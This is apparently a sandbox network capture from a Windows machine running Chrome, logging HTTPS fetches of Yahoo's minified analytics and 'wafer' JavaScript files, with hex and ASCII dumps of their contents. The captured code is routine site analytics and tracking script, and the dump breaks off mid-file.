2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 77 2e 77 61 66 65 72 2c 73 3d 21 28 21 77 69 6e 64 6f 77 2e 77 61 66 65 72 7c 7c 21 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 29 2c 67 3d 22 22 2e 63 6f 6e 63 61 74 28 22 2f 5f 74 64 5f 61 70 69 2f 62 65 61 63 6f 6e 22 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 3f 22 29 2e 63 6f 6e 63 61 74 28 69 29 2e 63 6f 6e 63 61 74 28 75 28 29 2c 22 26 73 69 74 65 3d 22 29 2e 63 6f 6e 63 61 74 28 66 2e 73 69 74 65 2c 22 26 63 6f 6e 6e 65 63 74 69 6f 6e 3d 22 29 2e 63 6f 6e 63 61 74 28 65 73 63 61 70 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 77 28 29 29 29 2c 22 26 68 61 73 57 66 3d 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 26 68 61 73 57 66 52 3d 22 29 2e 63 6f 6e 63 61 74 28 73 29 3b 76 28 67 29 2c 72 2e 5f 5f 74 65 73 74 45 72 72 6f 72 26 26 Data Ascii: w.wafer,s=!(!window.wafer\|\|!window.wafer.ready),g="".concat("/_td_api/beacon","/").concat(e,"?").concat(i).concat(u(),"&site=").concat(f.site,"&connection=").concat(escape(JSON.stringify(w())),"&hasWf=").concat(c,"&hasWfR=").concat(s);v(g),r.__testError&&
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 28 64 3e 33 29 26 26 28 21 72 2e 6e 61 76 69 67 61 74 6f 72 7c 7c 21 31 21 3d 3d 72 2e 6e 61 76 69 67 61 74 6f 72 2e 6f 6e 4c 69 6e 65 29 26 26 65 29 7b 76 61 72 20 6e 3d 65 2e 6d 65 74 61 2c 74 3d 65 2e 6e 61 6d 65 2c 6f 3d 65 2e 73 74 61 63 6b 2c 61 3d 6f 26 26 6f 2e 6d 65 73 73 61 67 65 7c 7c 6f 7c 7c 22 22 2c 69 3d 22 2f 22 2e 63 6f 6e 63 61 74 28 66 2e 62 65 61 63 6f 6e 50 61 74 68 2c 22 3f 65 72 72 3d 22 29 2e 63 6f 6e 63 61 74 28 74 2c 22 26 62 65 61 63 6f 6e 54 79 70 65 3d 77 61 66 65 72 5f 65 72 72 26 69 6e 66 6f 3d 22 29 2e 63 6f 6e 63 61 74 28 65 73 63 61 70 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 29 29 2c 22 26 73 74 61 63 6b 3d 22 29 2e 63 6f 6e 63 61 74 28 61 2c 22 26 Data Ascii: },m=function(e){if(!(d>3)&&(!r.navigator\|\|!1!==r.navigator.onLine)&&e){var n=e.meta,t=e.name,o=e.stack,a=o&&o.message\|\|o\|\|"",i="/".concat(f.beaconPath,"?err=").concat(t,"&beaconType=wafer_err&info=").concat(escape(JSON.stringify(n)),"&stack=").concat(a,"&
2024-04-27 22:41:49 UTC	349	IN	Data Raw: 63 65 73 43 72 65 61 74 6f 72 3b 72 2e 59 41 48 4f 4f 2e 75 74 69 6c 73 2e 74 72 61 63 65 73 3d 6e 2e 63 72 65 61 74 65 54 72 61 63 65 73 49 6e 73 74 61 6e 63 65 28 7b 74 72 61 63 65 73 3a 7b 67 6c 6f 62 61 6c 41 74 74 72 69 62 75 74 65 73 3a 7b 61 75 74 68 65 64 3a 4f 2e 61 75 74 68 65 64 7c 7c 22 30 22 2c 62 75 63 6b 65 74 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 41 29 26 26 41 2e 6a 6f 69 6e 28 22 2c 22 29 7c 7c 41 2c 63 6f 6e 6e 65 63 74 3a 22 22 2e 63 6f 6e 63 61 74 28 65 73 63 61 70 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 77 28 29 29 29 29 2e 63 6f 6e 63 61 74 28 75 28 29 29 2c 64 65 76 69 63 65 3a 4f 2e 64 65 76 69 63 65 2c 65 6e 76 3a 4f 2e 65 6e 76 7c 7c 22 70 72 6f 64 75 63 74 69 6f 6e 22 2c 6c 61 6e 67 3a 4f 2e 6c 61 6e 67 2c 72 Data Ascii: cesCreator;r.YAHOO.utils.traces=n.createTracesInstance({traces:{globalAttributes:{authed:O.authed\|\|"0",bucket:Array.isArray(A)&&A.join(",")\|\|A,connect:"".concat(escape(JSON.stringify(w()))).concat(u()),device:O.device,env:O.env\|\|"production",lang:O.lang,r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49808	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	529	OUT	GET /ss/analytics-3.54.1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	857	IN	HTTP/1.1 200 OK x-amz-id-2: G+23Yygxy8Vey9/frsROn9PXQOjvdzKxUn9PIQKsW2t7UTpojtHXfShtoHT+TqyU0VLujNpTOt0= x-amz-request-id: FD3KJ7TECA82AZF5 Date: Sat, 27 Apr 2024 11:18:51 GMT Last-Modified: Tue, 23 Apr 2024 18:09:03 GMT ETag: "be4d5b2cf27c72cd7eeb99c9cf40c780" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, immutable x-amz-version-id: 8gxMvu.jZtusw12xeCxTyYFdNi82ldPv Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 52184 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 40979 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 65 28 64 29 7b 76 61 72 20 66 3d 7b 41 31 53 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 61 31 73 22 7d 2c 42 3a 7b 6c 6f 67 3a 21 31 7d 2c 42 58 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 62 78 22 7d 2c 57 56 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 77 76 22 7d 2c 54 54 3a 7b 6c 6f 67 3a 21 31 7d 2c 44 3a 7b 6c 6f 67 3a 21 31 7d 2c 5f 67 61 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 67 61 22 7d 2c 79 78 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 79 78 22 7d 2c 72 78 78 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 5f 72 78 22 7d 2c 55 4e 41 55 54 48 49 44 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a 22 61 6f 6c 5f 75 6e 61 75 74 68 22 7d 2c 5f 75 74 64 3a 7b 6c 6f 67 3a 21 30 2c 6b 65 79 3a Data Ascii: !function(){function ge(d){var f={A1S:{log:!0,key:"_a1s"},B:{log:!1},BX:{log:!0,key:"bx"},WV:{log:!0,key:"_wv"},TT:{log:!1},D:{log:!1},_ga:{log:!0,key:"_ga"},yx:{log:!0,key:"_yx"},rxx:{log:!0,key:"_rx"},UNAUTHID:{log:!0,key:"aol_unauth"},_utd:{log:!0,key:
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 52 61 70 69 64 20 57 61 73 20 50 72 65 76 65 6e 74 65 64 20 46 72 6f 6d 20 41 63 63 65 73 73 69 6e 67 20 43 6f 6f 6b 69 65 73 3a 22 2c 65 29 7d 2d 31 21 3d 3d 6f 3f 28 6d 5b 74 5d 3d 6e 2c 61 3d 66 5b 74 5d 2c 64 26 26 61 26 26 61 2e 6c 6f 67 26 26 64 2e 73 65 74 28 61 2e 6b 65 79 2c 6e 29 29 3a 30 3c 73 2b 6c 26 26 28 73 2d 2d 2c 75 28 29 29 7d 65 2e 66 70 63 26 26 22 2e 79 61 68 6f 6f 2e 63 6f 6d 22 21 3d 3d 63 28 73 29 26 26 75 28 29 7d 2c 6e 75 6c 6c 29 3b 74 72 79 7b 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 52 61 70 69 64 20 57 61 73 20 50 72 65 76 65 6e 74 65 64 20 46 72 6f 6d 20 41 63 63 65 73 73 69 6e 67 20 43 6f 6f 6b 69 65 73 3a 22 2c 65 29 7d 69 66 28 65 26 26 2f Data Ascii: Rapid Was Prevented From Accessing Cookies:",e)}-1!==o?(m[t]=n,a=f[t],d&&a&&a.log&&d.set(a.key,n)):0<s+l&&(s--,u())}e.fpc&&".yahoo.com"!==c(s)&&u()},null);try{e=document.cookie}catch(e){console.warn("Rapid Was Prevented From Accessing Cookies:",e)}if(e&&/
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 66 66 65 63 74 69 76 65 5f 64 65 76 69 63 65 69 64 3a 65 5b 36 5d 2c 64 65 76 69 63 65 69 64 5f 74 79 70 65 3a 65 5b 37 5d 2c 6c 69 6d 69 74 5f 61 64 5f 74 72 61 63 6b 69 6e 67 3a 65 5b 38 5d 2c 74 72 61 63 6b 69 6e 67 5f 61 75 74 68 5f 73 74 61 74 75 73 3a 65 5b 39 5d 7d 7d 72 65 74 75 72 6e 7b 7d 7d 28 28 6e 65 77 20 67 65 29 2e 67 65 74 43 6f 6f 6b 69 65 42 79 4e 61 6d 65 28 22 57 56 22 29 29 2e 74 72 61 63 6b 69 6e 67 5f 61 75 74 68 5f 73 74 61 74 75 73 7c 7c 2d 31 29 7d 2c 59 41 48 4f 4f 2e 69 31 33 6e 2e 45 76 65 6e 74 54 79 70 65 73 3d 28 74 3d 22 72 69 63 68 76 69 65 77 22 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 67 65 74 59 51 4c 49 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 79 71 6c 69 64 7d 2c 67 65 74 45 76 65 Data Ascii: ffective_deviceid:e[6],deviceid_type:e[7],limit_ad_tracking:e[8],tracking_auth_status:e[9]}}return{}}((new ge).getCookieByName("WV")).tracking_auth_status\|\|-1)},YAHOO.i13n.EventTypes=(t="richview",e.prototype={getYQLID:function(){return this.yqlid},getEve
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 75 72 6e 20 74 68 69 73 2e 6d 61 70 5b 65 5d 7d 2c 67 65 74 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 7d 2c 61 62 73 6f 72 62 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 62 2e 69 73 4f 62 6a 28 65 29 29 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 62 2e 68 61 73 4f 77 6e 28 65 2c 74 29 26 26 74 68 69 73 2e 73 65 74 28 74 2c 65 5b 74 5d 29 7d 2c 61 62 73 6f 72 62 5f 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 26 26 62 2e 69 73 4f 62 6a 28 65 29 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 74 26 26 21 74 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 6e 29 7c 7c 62 2e 68 61 73 4f 77 6e 28 65 2c 6e 29 26 26 74 68 69 73 2e 73 65 74 28 6e 2c 65 5b 6e 5d 29 7d 2c 67 65 74 53 69 7a Data Ascii: urn this.map[e]},getAll:function(){return this.map},absorb:function(e){if(e&&b.isObj(e))for(var t in e)b.hasOwn(e,t)&&this.set(t,e[t])},absorb_filter:function(e,t){if(e&&b.isObj(e))for(var n in e)t&&!t.call(null,n)\|\|b.hasOwn(e,n)&&this.set(n,e[n])},getSiz
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 63 61 74 69 6f 6e 26 26 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7c 7c 22 22 2c 69 3d 28 4e 28 65 2c 6e 29 2c 74 3d 74 26 26 62 2e 6e 6f 72 6d 28 22 22 2b 74 29 2c 65 2e 6f 76 65 72 72 69 64 65 7c 7c 7b 7d 29 2c 6f 3d 22 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 72 3d 22 75 64 63 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 69 3d 28 21 30 21 3d 3d 65 2e 66 70 63 26 26 22 79 61 68 6f 6f 2e 63 6f 6d 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 22 2e 22 29 7c 7c 28 6f 3d 22 33 70 2d 22 2b 6f 2c 72 3d 22 33 70 2d 22 2b 72 29 2c 7b 6f 76 65 72 72 69 64 65 3a 69 2c 76 65 72 73 69 6f 6e 3a 76 65 2c 63 6f 6d 62 6f 4e 61 6d 65 3a 5f 65 2c 6b 65 79 73 3a Data Ascii: cation&&document.location.href\|\|"",i=(N(e,n),t=t&&b.norm(""+t),e.override\|\|{}),o="geo.yahoo.com",r="udc.yahoo.com",i=(!0!==e.fpc&&"yahoo.com"===document.domain.split(".").slice(-2).join(".")\|\|(o="3p-"+o,r="3p-"+r),{override:i,version:ve,comboName:_e,keys:
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 63 6b 5f 74 69 6d 65 6f 75 74 7c 7c 31 65 34 2c 63 6f 6d 70 72 5f 74 69 6d 65 6f 75 74 3a 65 2e 63 6f 6d 70 72 5f 74 69 6d 65 6f 75 74 7c 7c 37 30 30 2c 63 6f 6d 70 72 5f 6f 6e 3a 21 31 21 3d 3d 65 2e 63 6f 6d 70 72 5f 6f 6e 2c 63 6f 6d 70 72 5f 74 79 70 65 3a 65 2e 63 6f 6d 70 72 5f 74 79 70 65 7c 7c 22 64 65 66 6c 61 74 65 22 2c 77 65 62 77 6f 72 6b 65 72 5f 66 69 6c 65 3a 59 41 48 4f 4f 2e 69 31 33 6e 2e 57 45 42 57 4f 52 4b 45 52 5f 46 49 4c 45 7c 7c 65 2e 77 65 62 77 6f 72 6b 65 72 5f 66 69 6c 65 7c 7c 6e 75 6c 6c 2c 6e 6f 66 6f 6c 6c 6f 77 5f 63 6c 61 73 73 6e 61 6d 65 3a 65 2e 6e 6f 66 6f 6c 6c 6f 77 5f 63 6c 61 73 73 7c 7c 22 72 61 70 69 64 6e 6f 66 6f 6c 6c 6f 77 22 2c 6e 6f 5f 63 6c 69 63 6b 5f 6c 69 73 74 65 6e 3a 65 2e 72 61 70 69 64 5f 6e 6f Data Ascii: ck_timeout\|\|1e4,compr_timeout:e.compr_timeout\|\|700,compr_on:!1!==e.compr_on,compr_type:e.compr_type\|\|"deflate",webworker_file:YAHOO.i13n.WEBWORKER_FILE\|\|e.webworker_file\|\|null,nofollow_classname:e.nofollow_class\|\|"rapidnofollow",no_click_listen:e.rapid_no
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6e 74 69 6d 65 7c 7c 6e 75 6c 6c 2c 70 65 72 66 5f 75 73 65 72 74 69 6d 65 3a 65 2e 70 65 72 66 5f 75 73 65 72 74 69 6d 65 7c 7c 6e 75 6c 6c 2c 70 65 72 66 5f 72 65 73 6f 75 72 63 65 74 69 6d 65 3a 65 2e 70 65 72 66 5f 72 65 73 6f 75 72 63 65 74 69 6d 65 7c 7c 30 2c 73 61 6d 70 6c 65 3a 65 2e 73 61 6d 70 6c 65 7c 7c 7b 7d 2c 6c 6f 63 3a 6e 2c 66 70 63 3a 21 30 3d 3d 3d 65 2e 66 70 63 2c 61 63 63 6f 75 6e 74 47 55 49 44 3a 65 2e 61 63 63 6f 75 6e 74 47 55 49 44 7c 7c 6e 75 6c 6c 2c 63 75 73 74 6f 6d 55 49 44 3a 65 2e 63 75 73 74 6f 6d 55 49 44 7c 7c 6e 75 6c 6c 2c 6e 63 69 64 3a 65 2e 6e 63 69 64 7c 7c 6e 75 6c 6c 7d 29 2c 72 3d 28 69 2e 61 6e 6f 6e 79 6d 69 7a 65 64 26 26 28 69 2e 67 65 6f 5f 68 6f 73 74 3d 22 67 61 6e 6f 6e 2e 79 61 68 6f 6f 2e 63 6f 6d Data Ascii: ntime\|\|null,perf_usertime:e.perf_usertime\|\|null,perf_resourcetime:e.perf_resourcetime\|\|0,sample:e.sample\|\|{},loc:n,fpc:!0===e.fpc,accountGUID:e.accountGUID\|\|null,customUID:e.customUID\|\|null,ncid:e.ncid\|\|null}),r=(i.anonymized&&(i.geo_host="ganon.yahoo.com
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 65 72 76 65 72 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 65 77 20 6c 2c 6e 3d 28 70 3d 6e 65 77 20 67 65 28 74 29 2c 74 2e 73 65 74 28 22 5f 70 6c 22 2c 31 29 2c 74 2e 73 65 74 28 22 41 5f 76 22 2c 45 2e 76 65 72 73 69 6f 6e 29 2c 74 2e 73 65 74 28 22 41 5f 63 6e 22 2c 45 2e 63 6f 6d 62 6f 4e 61 6d 65 29 2c 45 2e 67 65 74 52 65 66 65 72 72 65 72 28 29 29 3b 69 66 28 6e 26 26 21 31 21 3d 3d 65 26 26 74 2e 73 65 74 28 22 5f 52 22 2c 6e 29 2c 45 2e 74 65 73 74 5f 69 64 26 26 74 2e 73 65 74 28 22 74 65 73 74 22 2c 45 2e 74 65 73 74 5f 69 64 29 2c 45 2e 63 75 73 74 6f 6d 55 49 44 26 26 28 65 3d 45 2e 63 75 73 74 6f 6d 55 49 44 2c 74 2e 73 65 74 28 22 75 73 65 72 5f 69 64 22 2c 65 2e 69 64 29 2c 74 2e 73 65 74 28 22 75 73 65 72 5f 69 64 Data Ascii: erver,W=function(e){var t=new l,n=(p=new ge(t),t.set("_pl",1),t.set("A_v",E.version),t.set("A_cn",E.comboName),E.getReferrer());if(n&&!1!==e&&t.set("_R",n),E.test_id&&t.set("test",E.test_id),E.customUID&&(e=E.customUID,t.set("user_id",e.id),t.set("user_id
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6c 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 2c 6f 29 7b 74 26 26 64 26 26 64 2e 73 74 61 72 74 5f 64 77 65 6c 6c 28 29 26 26 28 6e 2e 65 74 61 67 3d 22 64 77 65 6c 6c 2c 73 74 61 72 74 22 2c 6e 2e 75 73 65 72 67 65 6e 66 3d 31 2c 6e 2e 41 5f 70 72 65 74 73 3d 52 3f 52 2e 74 73 3a 6e 75 6c 6c 2c 6e 2e 41 5f 70 72 65 6d 73 3d 52 3f 52 2e 6d 73 3a 6e 75 6c 6c 29 2c 21 45 2e 79 71 6c 5f 65 6e 61 62 6c 65 64 7c 7c 6f 3f 28 6f 3d 6e 75 6c 6c 2c 66 28 6d 28 74 3f 22 62 22 3a 22 70 22 2c 6f 3d 6e 3f 6e 65 77 20 6c 28 6e 29 3a 6f 29 29 29 3a 65 65 28 65 2c 74 2c 6e 2c 69 29 7d 2c 73 65 6e 64 52 61 70 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 74 26 26 64 26 26 64 2e 73 74 61 72 74 5f 64 77 65 6c 6c 28 29 26 26 28 6e 2e 65 74 61 Data Ascii: lay:function(e,t,n,i,o){t&&d&&d.start_dwell()&&(n.etag="dwell,start",n.usergenf=1,n.A_prets=R?R.ts:null,n.A_prems=R?R.ms:null),!E.yql_enabled\|\|o?(o=null,f(m(t?"b":"p",o=n?new l(n):o))):ee(e,t,n,i)},sendRapid:function(e,t,n,i){t&&d&&d.start_dwell()&&(n.eta
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 26 26 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 29 3f 74 28 29 3a 28 6e 3d 74 2c 69 3d 6e 65 77 20 49 6d 61 67 65 2c 6f 3d 6e 75 6c 6c 2c 69 2e 6f 6e 6c 6f 61 64 3d 69 2e 6f 6e 61 62 6f 72 74 3d 69 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6e 2e 63 61 6c 6c 28 6e 75 6c 6c 29 7d 2c 69 2e 73 72 63 3d 65 2c 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 63 61 6c 6c 28 6e 75 6c 6c 29 7d 2c 45 2e 63 6c 69 63 6b 5f 74 69 6d 65 6f 75 74 29 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 6e Data Ascii: gator.sendBeacon&&navigator.sendBeacon(e)?t():(n=t,i=new Image,o=null,i.onload=i.onabort=i.onerror=function(){clearTimeout(o),n.call(null)},i.src=e,n&&"function"==typeof n&&(o=setTimeout(function(){n.call(null)},E.click_timeout)),setTimeout(function(){i=n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49807	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	538	OUT	GET /aaq/wf/wf-core-1.65.1-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: +cqPHb0xxuixRnOSR3fTEriETott1WxY7wTdYtUdn8ROKLzzXtTfzG061C1501XJQ/MMiJTK27o= x-amz-request-id: 7P30MZ5ZDRE0H4H5 Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Thu, 18 Apr 2024 01:03:09 GMT ETag: "c1fbb54c4f22838f40ce99e7418fcd97" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: VaxAIobZ0y0iWnHdR00i8Xnb9e_2JypL Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 60378 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 716 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 77 61 66 65 72 3d 74 28 29 3a 65 2e 77 61 66 65 72 3d 74 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}("undefined"!=typeof self?self:this,function(){return fun
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 41 72 72 61 79 28 65 2e 6c 65 6e 67 74 68 29 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 6e 5b 74 5d 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 6e 7d 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 Data Ascii: le:!0,writable:!0}):e[t]=n,e}function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function u(e){return Array.isArray(e)?e:Array.from(e)}function l(e,t){if(!(e instanceof t))throw new TypeE
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 20 45 7d 29 2c 6e 2e 64 28 6d 2c 22 70 65 72 66 6f 72 6d 61 6e 63 65 4d 61 72 6b 53 75 70 70 6f 72 74 65 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 7d 29 2c 6e 2e 64 28 6d 2c 22 69 73 54 6f 75 63 68 53 61 66 61 72 69 44 65 76 69 63 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 2c 6e 2e 64 28 6d 2c 22 73 6d 6f 6f 74 68 53 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 29 2c 6e 2e 64 28 6d 2c 22 69 73 50 57 41 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 7d 29 3b 76 61 72 20 79 3d 7b 7d 3b 6e 2e 64 28 79 2c 22 69 73 56 69 73 69 62 6c 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 47 7d 29 2c 6e 2e 64 28 79 2c 22 64 65 62 6f 75 6e 63 65 22 2c Data Ascii: E}),n.d(m,"performanceMarkSupported",function(){return T}),n.d(m,"isTouchSafariDevice",function(){return k}),n.d(m,"smoothScroll",function(){return C}),n.d(m,"isPWA",function(){return S});var y={};n.d(y,"isVisible",function(){return G}),n.d(y,"debounce",
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 72 61 6d 65 74 65 72 56 61 6c 75 65 42 79 4e 61 6d 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 65 7d 29 2c 6e 2e 64 28 79 2c 22 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 65 7d 29 2c 6e 2e 64 28 79 2c 22 72 65 6d 6f 76 65 54 72 61 6e 73 69 74 69 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 65 7d 29 2c 6e 2e 64 28 79 2c 22 75 72 6c 69 66 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 65 7d 29 2c 6e 2e 64 28 79 2c 22 66 65 74 63 68 57 69 74 68 43 61 63 68 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 